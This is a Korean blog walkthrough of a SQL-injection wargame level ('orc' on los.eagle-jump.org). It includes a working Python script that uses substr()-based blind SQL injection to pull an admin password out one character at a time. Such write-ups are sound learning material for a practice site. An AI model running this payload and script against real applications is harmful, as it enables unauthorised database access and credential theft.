이번에는 pw 부분만 입력이 가능합니다.
id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.
요행으로 참으로 만들어도 안된다는 말입니다.
정확한 pw값을 찾아야 하는 문제입니다.
![](https://t1.daumcdn.net/cfile/tistory/999ABE435BB7548416)
우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다.
"Hello admin"이라는 값이 나옵니다.
참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.
![](https://t1.daumcdn.net/cfile/tistory/995CFF435BB7548405)
Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.
length() 함수는 해당 칼럼의 길이를 알 수 있습니다.
지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.
수차례 해보면 8자리라는 것을 확인할 수 있습니다.
![](https://t1.daumcdn.net/cfile/tistory/996735435BB7548504)
길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.
requests 모듈을 통해서 풀어봤습니다.
GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.
SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.
※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴
그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?' password = '' for i in range(1,9): for j in range(33,127): query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.
(소문자로 해야 인증됨)
![](https://t1.daumcdn.net/cfile/tistory/995F52435BB7548530)